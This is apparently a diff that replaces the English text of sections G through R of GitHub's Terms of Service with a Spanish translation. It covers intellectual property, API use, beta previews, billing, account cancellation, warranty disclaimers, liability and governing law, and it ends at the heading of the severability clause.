-**Short version:** *We own the service and all of our content. In order for you to use our content, we give you certain rights to it, but you may only use our content in the way we have allowed.*
+## G. Notificación de propiedad intelectual
+**Versión resumida:** *Somos dueños del servicio y de todo nuestro contenido. Para que puedas utilizar nuestro contenido, te damos ciertos derechos, pero sólo puedes utilizar nuestro contenido de la forma que lo hemos permitido.*
 
-### 1. GitHub's Rights to Content
-GitHub and our licensors, vendors, agents, and/or our content providers retain ownership of all intellectual property rights of any kind related to the Website and Service. We reserve all rights that are not expressly granted to you under this Agreement or by law. The look and feel of the Website and Service is copyright © GitHub, Inc. All rights reserved. You may not duplicate, copy, or reuse any portion of the HTML/CSS, Javascript, or visual design elements or concepts without express written permission from GitHub.
+### 1. Derechos de GitHub sobre el Contenido
+GitHub y nuestros licenciatarios, vendedores, agentes y/o nuestros proveedores de contenidos conservan la propiedad de todos los derechos de propiedad intelectual de cualquier tipo relacionados con el Sitio Web y el Servicio. Nos reservamos todos los derechos que no se le conceden expresamente en virtud de este Acuerdo o por ley. La apariencia del Sitio Web y el Servicio es propiedad intelectual de GitHub, Inc. Todos los derechos reservados. No puedes duplicar, copiar o volver a usar ninguna parte de los elementos o conceptos de HTML/CSS, Javascript o de diseño visual sin autorización expresa por escrito de GitHub.
 
-### 2. GitHub Trademarks and Logos
-If you’d like to use GitHub’s trademarks, you must follow all of our trademark guidelines, including those on our logos page: https://github.com/logos.
+### 2. Nombres comerciales y logos de GitHub
+Si deseas usar las marcas registradas de GitHub, debes seguir todas nuestras directrices de marca registrada, incluyendo las que aparecen en nuestra página de logos: https://github.com/logos.
 
-### 3. License to GitHub Policies
-This Agreement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+### 3. Licencia a políticas de GitHub
+La presente Declaración de privacidad está autorizada conforme a esta [licencia de Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/). Para obtener más detalles, consulta nuestro [repositorio de políticas del sitio](https://github.com/github/site-policy#license).
 
-## H. API Terms
-**Short version:** *You agree to these Terms of Service, plus this Section H, when using any of GitHub's APIs (Application Provider Interface), including use of the API through a third party product that accesses GitHub.*
+## H. Términos de la API
+**Versión resumida:** *Aceptas estos términos de servicio, además de esta sección H, al usar cualquiera de las API de GitHub (Interfaz del Proveedor de la Aplicación), incluyendo el uso de la API a través de un producto de terceros que ingresa a GitHub.*
 
-Abuse or excessively frequent requests to GitHub via the API may result in the temporary or permanent suspension of your Account's access to the API. GitHub, in our sole discretion, will determine abuse or excessive usage of the API. We will make a reasonable attempt to warn you via email prior to suspension.
+Las solicitudes abusivas o excesivamente frecuentes a GitHub a través de la API pueden resultar en la suspensión temporal o permanente del acceso de tu Cuenta a la API. GitHub, a nuestra sola discreción, determinará el abuso o el uso excesivo de la API. Intentaremos avisarte por correo electrónico antes de la suspensión.
 
-You may not share API tokens to exceed GitHub's rate limitations.
+No puedes compartir tokens API para exceder las limitaciones de velocidad de GitHub.
 
-You may not use the API to download data or Content from GitHub for spamming purposes, including for the purposes of selling GitHub users' personal information, such as to recruiters, headhunters, and job boards.
+No puedes utilizar la API para descargar datos o Contenido de GitHub con fines de spamming, incluyendo el propósito de vender la información personal de los usuarios de GitHub, tales como reclutadores, cazatalentos y bolsas de trabajo.
 
-All use of the GitHub API is subject to these Terms of Service and the [GitHub Privacy Statement](https://github.com/site/privacy).
+Todo uso de la API de GitHub está sujeto a estos términos de servicio y a la [Declaración de privacidad de GitHub](https://github.com/site/privacy).
 
-GitHub may offer subscription-based access to our API for those Users who require high-throughput access or access that would result in resale of GitHub's Service.
+GitHub puede ofrecer acceso basado en suscripción a nuestra API para aquellos usuarios que requieren acceso de alto rendimiento o acceso que resultaría en reventa del servicio de GitHub.
 
-## I. GitHub Additional Product Terms
-**Short version:** *You need to follow certain specific terms and conditions for GitHub's various features and products, and you agree to the Supplemental Terms and Conditions when you agree to this Agreement.*
+## I. Términos adicionales de los productos de GitHub
+**Versión resumida:** *Debes seguir ciertos términos y condiciones específicos para las diversas características y productos de GitHub y aceptas los Términos y Condiciones Suplementarios cuando estés de acuerdo con este Contrato.*
 
-Some Service features may be subject to additional terms specific to that feature or product as set forth in the GitHub Additional Product Terms. By accessing or using the Services, you also agree to the [GitHub Additional Product Terms](/github/site-policy/github-additional-product-terms).
+Algunas características del servicio pueden estar sujetas a términos adicionales específicos de esa característica o producto según lo establecido en los términos adicionales del producto de GitHub. Al ingresar o utilizar los Servicios, también aceptas los [Términos de adicionales del producto de GitHub](/github/site-policy/github-additional-product-terms).
 
-## J. Beta Previews
-**Short version:** *Beta Previews may not be supported or may change at any time. You may receive confidential information through those programs that must remain confidential while the program is private. We'd love your feedback to make our Beta Previews better.*
+## J. Vista previa Beta
+**Versión corta:** *Las vistas previas beta podrían no ser compatibles o cambiar en cualquier momento. Podrías recibir información confidencial a través de estos programas, la cual debe mantenerse confidencial mientras el programa sea privado. Nos encantaría recibir tus comentarios para mejorar nuestras vistas previas beta.*
 
-### 1. Subject to Change
+### 1. Sujeto a cambio
 
-Beta Previews may not be supported and may be changed at any time without notice. In addition, Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. **By using a Beta Preview, you use it at your own risk.**
+Las Vistas previas Beta pueden no ser compatibles y pueden cambiarse en cualquier momento sin previo aviso. Además, las Vistas Previas Beta no están sujetas a las mismas medidas de seguridad y de auditoría a las que se encuentra sujeto el Servicio. **Al hacer uso de una Vista Previa beta, la estás utilizando bajo tu propio riesgo.**
 
-### 2. Confidentiality
+### 2. Confidencialidad
 
-As a user of Beta Previews, you may get access to special information that isn’t available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret.
+Como usuario de las Vistas Previas Beta, puedes tener acceso a información especial que no está disponible para el resto del mundo. Debido a la naturaleza delicada de esta información, es importante que nos aseguremos que mantengas esa información en secreto.
 
-**Confidentiality Obligations.** You agree that any non-public Beta Preview information we give you, such as information about a private Beta Preview, will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the express purpose of testing and evaluating the Beta Preview (the “Purpose”), and not for any other purpose. You should use the same degree of care as you would with your own confidential information, but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party, unless we don’t otherwise prohibit or restrict such disclosure (for example, you might be part of a GitHub-organized group discussion about a private Beta Preview feature).
+**Obligaciones de confidencialidad.** Aceptas que cualquier información no pública de Vista Previa Beta que te proporcionamos, como información sobre una vista previa privada Beta, se considerará información confidencial de GitHub (colectivamente, “Información Confidencial”), independientemente de si está marcada o identificada como tal. Aceptas usar dicha Información Confidencial únicamente para el propósito expreso de probar y evaluar la Vista Previa Beta (el “Propósito”) y para ningún otro propósito. Debes tener el mismo cuidado que con tu propia información confidencial pero no menos de las precauciones razonables para prevenir cualquier uso no autorizado, revelación, publicación o divulgación de nuestra Información Confidencial. Te comprometes a no revelar, publicar o divulgar ninguna Información Confidencial a terceros a menos que no prohibamos o restrinjamos dicha divulgación (por ejemplo, puede ser parte de una discusión de grupo organizada por GitHub acerca de una característica de la Vista Previa Beta).
 
-**Exceptions.** Confidential Information will not include information that is: (a) or becomes publicly available without breach of this Agreement through no act or inaction on your part (such as when a private Beta Preview becomes a public Beta Preview); (b) known to you before we disclose it to you; (c) independently developed by you without breach of any confidentiality obligation to us or any third party; or (d) disclosed with permission from GitHub. You will not violate the terms of this Agreement if you are required to disclose Confidential Information pursuant to operation of law, provided GitHub has been given reasonable advance written notice to object, unless prohibited by law. 
+**Excepciones.** La Información Confidencial no incluirá información que: (a) sea o esté disponible públicamente sin violación de este Contrato a través de ningún acto o inacción por su parte (como cuando una Vista Previa Beta privada se convierte en una Vista Previa Beta pública); (b) conozcas antes de que lo divulguemos; (c) esté desarrollada independientemente por ti sin violación de ninguna obligación de confidencialidad con nosotros o con terceros; o (d) sea revelada con permiso de GitHub. No violarás los términos de este Acuerdo si se te pide revelar Información Confidencial de acuerdo con el funcionamiento de la ley, siempre y cuando GitHub haya recibido un aviso por escrito razonable para objetar, a menos que la ley lo prohíba.
 
-### 3. Feedback
+### 3. Comentarios
 
-We’re always trying to improve of products and services, and your feedback as a Beta Preview user will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services (collectively, “Feedback”), you acknowledge and agree that GitHub will have a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation.
+Siempre estamos tratando de mejorar los productos y servicios y tus comentarios como usuario de las Vistas Previas Beta nos ayudarán a hacerlo. Si decides darnos cualquier idea, conocimiento, algoritmos, contribuciones de código, sugerencias, solicitudes de mejora, recomendaciones o cualquier otro comentario para nuestros productos o servicios (colectivamente, "Comentarios"), reconoces y aceptas que GitHub tendrá una licencia sin cargo de regalías completamente pagada, mundial, transferible, irrevocable para implementar, usar, modificar, explotar comercialmente y/o incorporar los Comentarios en nuestros productos, servicios y documentación.
 
-## K. Payment
-**Short version:** *You are responsible for any fees associated with your use of GitHub. We are responsible for communicating those fees to you clearly and accurately, and letting you know well in advance if those prices change.*
+## K. Pago
+**Versión resumida:** *Eres responsable de cualquier cargo asociado con tu uso de GitHub. Somos responsables de comunicarte esos cobros con claridad y precisión y de hacerte saber con mucha antelación si esos precios cambian.*
 
-### 1. Pricing
-Our pricing and payment terms are available at [github.com/pricing](https://github.com/pricing). If you agree to a subscription price, that will remain your price for the duration of the payment term; however, prices are subject to change at the end of a payment term.
+### 1. Precios
+Nuestros precios y términos de pago están disponibles en [github.com/pricing](https://github.com/pricing). Si aceptas un precio de suscripción, ese seguirá siendo tu precio durante la duración del plazo de pago; sin embargo, los precios están sujetos a cambios al final de un plazo de pago.
 
-### 2. Upgrades, Downgrades, and Changes
-- We will immediately bill you when you upgrade from the free plan to any paying plan.
-- If you change from a monthly billing plan to a yearly billing plan, GitHub will bill you for a full year at the next monthly billing date.
-- If you upgrade to a higher level of service, we will bill you for the upgraded plan immediately.
-- You may change your level of service at any time by [choosing a plan option](https://github.com/pricing) or going into your [Billing settings](https://github.com/settings/billing). If you choose to downgrade your Account, you may lose access to Content, features, or capacity of your Account. Please see our section on [Cancellation](#l-cancellation-and-termination) for information on getting a copy of that Content.
+### 2. Mejoras, descensos y cambios
+- Te cobraremos inmediatamente cuando pase del plan gratuito a cualquier plan de pago.
+- Si cambias de un plan de facturación mensual a un plan de facturación anual, GitHub te cobrará por un año completo en la próxima fecha de facturación mensual.
+- Si mejoras a un mayor nivel de servicio, te cobraremos el plan actualizado inmediatamente.
+- Puedes cambiar tu nivel de servicio en cualquier momento [eligiendo una opción de plan](https://github.com/pricing) o entrando a tu [configuración de facturación](https://github.com/settings/billing). Si decides bajar la categoría de tu Cuenta, puedes perder el acceso al Contenido, características o capacidad de tu Cuenta. Consulta nuestra sección sobre [Cancelación](#l-cancellation-and-termination) para obtener información sobre cómo obtener una copia de ese contenido.
 
-### 3. Billing Schedule; No Refunds
-**Payment Based on Plan** For monthly or yearly payment plans, the Service is billed in advance on a monthly or yearly basis respectively and is non-refundable. There will be no refunds or credits for partial months of service, downgrade refunds, or refunds for months unused with an open Account; however, the service will remain active for the length of the paid billing period. In order to treat everyone equally, no exceptions will be made.
+### 3. Programación de facturación; no reembolsos
+**Pago basado en el plan** para planes de pago mensuales o anuales, el Servicio se cobra con antelación de forma mensual o anual respectiva y no es reembolsable. No habrá reembolsos o créditos Para meses parciales de servicio, reembolsos o reembolsos durante meses sin usar con una cuenta abierta; sin embargo, el servicio permanecerá activo durante el período de facturación pagado. Para tratar a todos por igual, no se harán excepciones.
 
-**Payment Based on Usage** Some Service features are billed based on your usage. A limited quantity of these Service features may be included in your plan for a limited term without additional charge. If you choose to purchase paid Service features beyond the quantity included in your plan, you pay for those Service features based on your actual usage in the preceding month. Monthly payment for these purchases will be charged on a periodic basis in arrears. See [GitHub Additional Product Terms for Details](/github/site-policy/github-additional-product-terms).
+**Pago basado en el uso** Algunas funciones de servicio se facturan según su uso. Una cantidad limitada de estas características del Servicio puede incluirse en su plan por un período limitado sin cargo adicional. Si decides comprar características de Servicio pagadas más allá de la cantidad incluida en tu plan, pagarás por estas funciones del Servicio con base en tu uso real en el mes anterior. El pago mensual de estas compras se cobrará de forma periódica en mora. Consulte los [Términos adicionales del producto de GitHub para conocer más detalles](/github/site-policy/github-additional-product-terms).
 
-**Invoicing** For invoiced Users, User agrees to pay the fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. User must pay the fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as otherwise provided in this Agreement. If User fails to pay any fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable order form. User is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement.
+**Facturación** Para usuarios facturados, el usuario acepta pagar los cobros en su totalidad, por adelantado sin deducción ni saldar cuentas de ningún tipo, en dólares americanos. estadounidenses. El usuario debe pagar las cuotas dentro de treinta (30) días a partir de la fecha de facturación de GitHub. Los importes pagaderos en virtud de este Acuerdo no son reembolsables, excepto que se estipule de otro modo en este Acuerdo. Si el usuario no paga las cuotas a tiempo, GitHub se reserva el derecho, además de tomar cualquier otra acción conforme a derecho o equidad, a (i) cobrar intereses sobre importes vencidos en 1.0% al mes o el tipo de interés más alto permitido por la ley, el que sea menor y a cobrar todos los gastos de recuperación y (ii) cancelar el formulario de pedido aplicable. El usuario es el único responsable de todos los impuestos, tarifas, obligaciones y valoraciones gubernamentales (a excepción de los impuestos basados en los ingresos netos de GitHub) que se imponen o vencen en relación con el presente Acuerdo.
 
-### 4. Authorization
-By agreeing to these Terms, you are giving us permission to charge your on-file credit card, PayPal account, or other approved methods of payment for fees that you authorize for GitHub.
+### 4. Autorización
+Al aceptar estos términos, nos das permiso para hacer un cargo a tu tarjeta de crédito en el archivo Cuenta de PayPal, u otros métodos de pago aprobados para los cobros que autorizas para GitHub.
 
-### 5. Responsibility for Payment
-You are responsible for all fees, including taxes, associated with your use of the Service. By using the Service, you agree to pay GitHub any charge incurred in connection with your use of the Service.  If you dispute the matter, contact [GitHub Support](https://support.github.com/contact?tags=docs-policy). You are responsible for providing us with a valid means of payment for paid Accounts. Free Accounts are not required to provide payment information.
+### 5. Responsabilidad de pago
+Eres responsable de todas las cuotas, incluyendo los impuestos, asociados con tu uso del Servicio. Al utilizar el Servicio, aceptas pagar a GitHub cualquier cobro incurrido en relación con tu uso del Servicio.  Si impugnas el asunto, ponte en contacto con [el Soporte de GitHub](https://support.github.com/contact?tags=docs-policy). Eres responsable de proporcionarnos un medio de pago válido para las pagar las Cuentas. Las cuentas gratuitas no están obligadas a proporcionar información de pago.
 
-## L. Cancellation and Termination
-**Short version:** *You may close your Account at any time. If you do, we'll treat your information responsibly.*
+## L. Cancelación y terminación
+**Versión resumida:** *Puedes cerrar tu Cuenta en cualquier momento. Si lo haces, trataremos tu información de forma responsable.*
 
-### 1. Account Cancellation
-It is your responsibility to properly cancel your Account with GitHub. You can [cancel your Account at any time](/articles/how-do-i-cancel-my-account/) by going into your Settings in the global navigation bar at the top of the screen. The Account screen provides a simple, no questions asked cancellation link. We are not able to cancel Accounts in response to an email or phone request.
+### 1. Cancelación de la cuenta
+Es tu responsabilidad cancelar correctamente tu cuenta con GitHub. Puedes [cancelar tu cuenta en cualquier momento](/articles/how-do-i-cancel-my-account/) entrando a tu Configuración en la barra de navegación global en la parte superior de la pantalla. La pantalla de la Cuenta proporciona un enlace simple y sin preguntas de cancelación. No podemos cancelar Cuentas en respuesta a una solicitud de correo electrónico o teléfono.
 
-### 2. Upon Cancellation
-We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile and the Content of your repositories within 90 days of cancellation or termination (though some information may remain in encrypted backups). This information can not be recovered once your Account is cancelled.
+### 2. Tras la cancelación
+Conservaremos y usaremos tu información cuando sea necesario para cumplir con nuestras obligaciones legales, resolver disputas y hacer cumplir nuestros acuerdos, pero sin requerimientos legales, borraremos tu perfil completo y el Contenido de tus repositorios dentro de los 90 días posteriores a la cancelación o terminación (aunque es posible que permanezca alguna información en las copias de seguridad cifradas). Esta información no se puede recuperar una vez que su cuenta sea cancelada.
 
-We will not delete Content that you have contributed to other Users' repositories or that other Users have forked.
+No eliminaremos el contenido con el que hayas contribuido a los repositorios de otros usuarios o que otros usuarios hayan bifurcado.
 
-Upon request, we will make a reasonable effort to provide an Account owner with a copy of your lawful, non-infringing Account contents after Account cancellation, termination, or downgrade. You must make this request within 90 days of cancellation, termination, or downgrade.
+Si se solicita, haremos un esfuerzo razonable para proporcionar al propietario de una cuenta una copia de los contenidos legales, no infringido de la Cuenta después de la cancelación, terminación o descenso de categoría. Debes hacer esta solicitud dentro de los 90 días siguientes a la cancelación, terminación o descenso de categoría.
 
-### 3. GitHub May Terminate
-GitHub has the right to suspend or terminate your access to all or any part of the Website at any time, with or without cause, with or without notice, effective immediately. GitHub reserves the right to refuse service to anyone for any reason at any time.
+### 3. GitHub pueder rescindir
+GitHub tiene derecho a suspender o rescindir tu acceso a todas o a cualquier parte del sitio web en cualquier momento con o sin causa, con o sin previo aviso, efectivo inmediatamente. GitHub se reserva el derecho de denegar el servicio a cualquier persona por cualquier motivo en cualquier momento.
 
-### 4. Survival
-All provisions of this Agreement which, by their nature, should survive termination *will* survive termination — including, without limitation: ownership provisions, warranty disclaimers, indemnity, and limitations of liability.
+### 4. Continuidad
+Todas las disposiciones de este Acuerdo que, por su naturaleza, deben sobrevivir a la terminación *sobrevivirán* la terminación — incluyendo, sin limitación: Disposiciones de propiedad, exenciones de garantía, indemnización y limitaciones de responsabilidad.
 
-## M. Communications with GitHub
-**Short version:** *We use email and other electronic means to stay in touch with our users.*
+## M. Comunicaciones con GitHub
+**Versión resumida:** *Utilizamos correo electrónico y otros medios electrónicos para mantenernos en contacto con nuestros usuarios.*
 
-### 1. Electronic Communication Required
-For contractual purposes, you (1) consent to receive communications from us in an electronic form via the email address you have submitted or via the Service; and (2) agree that all Terms of Service, agreements, notices, disclosures, and other communications that we provide to you electronically satisfy any legal requirement that those communications would satisfy if they were on paper. This section does not affect your non-waivable rights.
+### 1. Comunicación electrónica requerida
+Para propósitos contractuales, (1) otorgarás tu consentimiento para recibir nuestras comunicaciones en forma electrónica a través de la dirección de correo electrónico que ingresaste o a través del Servicio; y (2) aceptarás que todos los Términos de Servicio, acuerdos, avisos, revelaciones, y otras comunicaciones que le proporcionamos electrónicamente satisfacen cualquier requisito legal que dichas comunicaciones satisfagan si estuvieran en papel. Esta sección no afecta tus derechos no renunciables.
 
-### 2. Legal Notice to GitHub Must Be in Writing
-Communications made through email or GitHub Support's messaging system will not constitute legal notice to GitHub or any of its officers, employees, agents or representatives in any situation where notice to GitHub is required by contract or any law or regulation. Legal notice to GitHub must be in writing and [served on GitHub's legal agent](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
+### 2. El aviso legal para GitHub debe ser por escrito
+Las comunicaciones realizadas a través del correo electrónico o el sistema de mensajería de soporte de GitHub no constituirán un aviso legal a GitHub ni a ninguno de sus oficiales, empleados, agentes o representantes en cualquier situación en la que el aviso a GitHub se requiera por contrato o cualquier ley o reglamento. El aviso legal a GitHub debe ser por escrito y [presentado al agente legal de GitHub](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests).
 
-### 3. No Phone Support
-GitHub only offers support via email, in-Service communications, and electronic messages. We do not offer telephone support.
+### 3. Sin soporte telefónico
+GitHub sólo ofrece soporte por correo electrónico, comunicaciones en el servicio y mensajes electrónicos. No ofrecemos soporte telefónico.
 
-## N. Disclaimer of Warranties
-**Short version:** *We provide our service as is, and we make no promises or guarantees about this service. Please read this section carefully; you should understand what to expect.*
+## N. Exención de garantías
+**Versión resumida:** *Proporcionamos nuestro servicio tal y como es y no hacemos promesas ni garantías sobre este servicio. Lee esta sección cuidadosamente; deberías entender qué esperar.*
 
-GitHub provides the Website and the Service “as is” and “as available,” without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Website and the Service including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement.
+GitHub proporciona el sitio web y el servicio “tal cual” y “según disponibilidad”, sin garantía de ningún tipo. Sin perjuicio de esto, renunciamos expresamente a todas las garantías, ya sean explícitas, implícitas o reglamentarias, respecto al Servicio Web y el Servicio incluyendo entre otras cualquier garantía implícita de comercialización, idoneidad para un propósito en particular, título, seguridad, precisión y de no incumplimiento.
 
-GitHub does not warrant that the Service will meet your requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. You assume full responsibility and risk of loss resulting from your downloading and/or use of files, information, content or other material obtained from the Service.
+GitHub no garantiza que los Servicios cumplan con tus requisitos; que el Servicio no se interrumpa y sea oportuno, seguro o sin errores; que la información que se provee a través de los Servicios sea precisa, confiable o correcta; que cualquier defecto o error será corregido; que el Servicio estará disponible en cualquier momento o ubicación en particular; o que el Servicio se encuentra libre de virus u otros componentes dañinos. Asumes toda la responsabilidad y el riesgo de pérdida resultante de su descarga y/o uso de archivos, información, contenido u otro material obtenido del Servicio.
 
-## O. Limitation of Liability
-**Short version:** *We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. Please read this section carefully; it limits our obligations to you.*
+## O. Limitación de responsabilidad
+**Versión resumida:** *No seremos responsables de daños o pérdidas derivadas de tu uso o incapacidad para usar el servicio o de cualquier otra forma que surja en virtud de este acuerdo. Lee esta sección cuidadosamente; esto limita nuestras obligaciones contigo.*
 
-You understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages, however arising, that result from
+Comprendes y aceptas que no seremos responsables ante ti o ante ningún tercero por ninguna pérdida de ganancias, uso, buena voluntad, o datos, o para cualquier daño accidental, indirecto, especial, consecuencial o exemplatorio, que surjan sin embargo de
 
-- the use, disclosure, or display of your User-Generated Content;
-- your use or inability to use the Service;
-- any modification, price change, suspension or discontinuance of the Service;
-- the Service generally or the software or systems that make the Service available;
-- unauthorized access to or alterations of your transmissions or data;
-- statements or conduct of any third party on the Service;
-- any other user interactions that you input or receive through your use of the Service; or
-- any other matter relating to the Service.
+- el uso, divulgación o visualización de tu contenido generado por el usuario;
+- tu uso o incapacidad para usar el Servicio;
+- cualquier modificación, cambio de precios, suspensión o interrupción del Servicio;
+- el Servicio generalmente o el software o sistemas que hacen el Servicio disponible;
+- acceso no autorizado a o alteraciones de tus transmisiones o datos;
+- declaración o conducta de cualquier tercero en el Servicio;
+- cualquier otra interacción de usuario que introduzca o reciba a través del uso del Servicio; o
+- cualquier otro asunto relacionado con el Servicio.
 
-Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control.
+Nuestra responsabilidad es limitada, ya sea que hayamos sido informados o no de la posibilidad de tales daños, e incluso si se descubre que un remedio establecido en este Acuerdo no ha cumplido su propósito esencial. No nos responsabilizaremos por ningún fallo o retraso debido a asuntos que escapen a nuestro control razonable.
 
-## P. Release and Indemnification
-**Short version:** *You are responsible for your use of the service. If you harm someone else or get into a dispute with someone else, we will not be involved.*
+## P. Liberación e indemnización
+**Versión resumida:** *Eres responsable de tu uso del servicio. Si dañas a otra persona o entras en una disputa con otra persona, no estaremos implicados.*
 
-If you have a dispute with one or more Users, you agree to release GitHub from any and all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes.
+Si tienes una disputa con uno o más usuarios, aceptas liberar a GitHub de todos y cada uno de los reclamos, demandas y daños (reales y consecuentes) de todo tipo y naturaleza, conocidos y desconocidos, que surjan de o de cualquier forma relacionados con tales disputas.
 
-You agree to indemnify us, defend us, and hold us harmless from and against any and all claims, liabilities, and expenses, including attorneys’ fees, arising out of your use of the Website and the Service, including but not limited to your violation of this Agreement, provided that GitHub (1) promptly gives you written notice of the claim, demand, suit or proceeding; (2) gives you sole control of the defense and settlement of the claim, demand, suit or proceeding (provided that you may not settle any claim, demand, suit or proceeding unless the settlement unconditionally releases GitHub of all liability); and (3) provides to you all reasonable assistance, at your expense.
+Aceptas indemnizarnos, defendernos y liberarnos de toda responsabilidad contra cualquier reclamación, responsabilidad y gastos, incluyendo los honorarios de abogados, derivados del uso del Sitio Web y del Servicio, incluyendo sin limitación a tu violación de este Acuerdo, considerando que GitHub (1) te dé un aviso por escrito de la reclamación, demanda, juicio o procedimiento; (2) te da control exclusivo de la defensa y resolución de reclamaciones, demanda, juicio o diligencia (siempre y cuando no pueda solucionar ninguna reclamación, demanda, juicio o diligencia, a menos que el acuerdo libere incondicionalmente a GitHub de toda responsabilidad); y (3) te proporcione toda la asistencia razonable, a su cargo.
 
-## Q. Changes to These Terms
-**Short version:** *We want our users to be informed of important changes to our terms, but some changes aren't that important — we don't want to bother you every time we fix a typo. So while we may modify this agreement at any time, we will notify users of any material changes and give you time to adjust to them.*
+## Q. Modificaciones a estos términos
+**Versión resumida:** *Desamos que nuestros usuarios estén informados sobre los cambios importantes en nuestros términos, pero algunos cambios no son tan importantes — no queremos molestarte cada vez que arreglamos un error tipográfico. Por ello, si bien es posible que modifiquemos el presente acuerdo en cualquier momento, notificaremos a los usuarios sobre cualquier cambio material y te daremos tiempo para ajustarlos.*
 
-We reserve the right, at our sole discretion, to amend these Terms of Service at any time and will update these Terms of Service in the event of any such amendments. We will notify our Users of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on our Website or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, your continued use of the Website constitutes agreement to our revisions of these Terms of Service. You can view all changes to these Terms in our [Site Policy](https://github.com/github/site-policy) repository.
+Nos reservamos el derecho, a nuestro exclusivo criterio, de modificar el presente Acuerdo en cualquier momento y actualizaremos este Acuerdo en el caso en que ocurran dichas modificaciones. Notificaremos a nuestros usuarios de los cambios materiales en el presente acuerdo, como aumentos de precios, al menos 30 días antes de que el cambio entre en vigencia al publicar un aviso en nuestro sitio web o al enviar un correo electrónico a la dirección principal de correo electrónico especificada en tu cuenta de GitHub. El uso continuo del Servicio por parte del cliente después de dichos 30 días constituye el acuerdo a las revisiones del presente Acuerdo. Para cualquier otra modificación, tu uso continuo del sitio web constituye un acuerdo con nuestras revisiones de estos términos de servicio. Puedes visualizar todas las modificaciones a estos Términos en nuestro repositorio [Site Policy](https://github.com/github/site-policy)-.
 
-We reserve the right at any time and from time to time to modify or discontinue, temporarily or permanently, the Website (or any part of it) with or without notice.
+Nos reservamos el derecho en cualquier momento y de vez en cuando de modificar o interrumpir, temporal o permanentemente, el Sitio Web (o cualquier parte de este) con o sin notificación.
 
-## R. Miscellaneous
+## R. Varios
 
-### 1. Governing Law
-Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California.
+### 1. Legislación aplicable
+Excepto en la medida en que la ley aplicable establezca lo contrario, este Acuerdo entre tu persona y GitHub y cualquier acceso o uso del Sitio Web o del Servicio se rige por las leyes federales de los Estados Unidos de América y las leyes del Estado de California, sin tener en cuenta el conflicto de disposiciones legales. Tú y GitHub acuerdan someterse a la jurisdicción exclusiva y sede de los tribunales ubicados en la Ciudad y el Condado de San Francisco, California.
 
-### 2. Non-Assignability
-GitHub may assign or delegate these Terms of Service and/or the [GitHub Privacy Statement](https://github.com/site/privacy), in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section D.4. You may not assign or delegate any rights or obligations under the Terms of Service or Privacy Statement without our prior written consent, and any unauthorized assignment and delegation by you is void.
+### 2. Intransferible
+GitHub puede asignar o delegar estos Términos de Servicio y/o la [Declaración de privacidad de GitHub](https://github.com/site/privacy), en su totalidad o en parte, a cualquier persona o entidad en cualquier momento con o sin tu consentimiento, incluyendo la concesión de licencia en la Sección D.4. No puedes asignar ni delegar ningún derecho u obligación bajo los Términos de Servicio o Declaración de Privacidad sin nuestro previo consentimiento por escrito y ninguna asignación no autorizada y delegación por ti es nula.
 
-### 3. Section Headings and Summaries
-Throughout this Agreement, each section includes titles and brief summaries of the following terms and conditions. These section titles and brief summaries are not legally binding.
+### 3. Encabezados y resúmenes de sección
+A lo largo de este Acuerdo, cada sección incluye títulos y breves resúmenes de los siguientes términos y condiciones. Estos títulos de sección y breves resúmenes no son legalmente vinculantes.
 
-### 4. Severability, No Waiver, and Survival
-If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement.
+### 4. Divisibilidad, sin exención y supervivencia
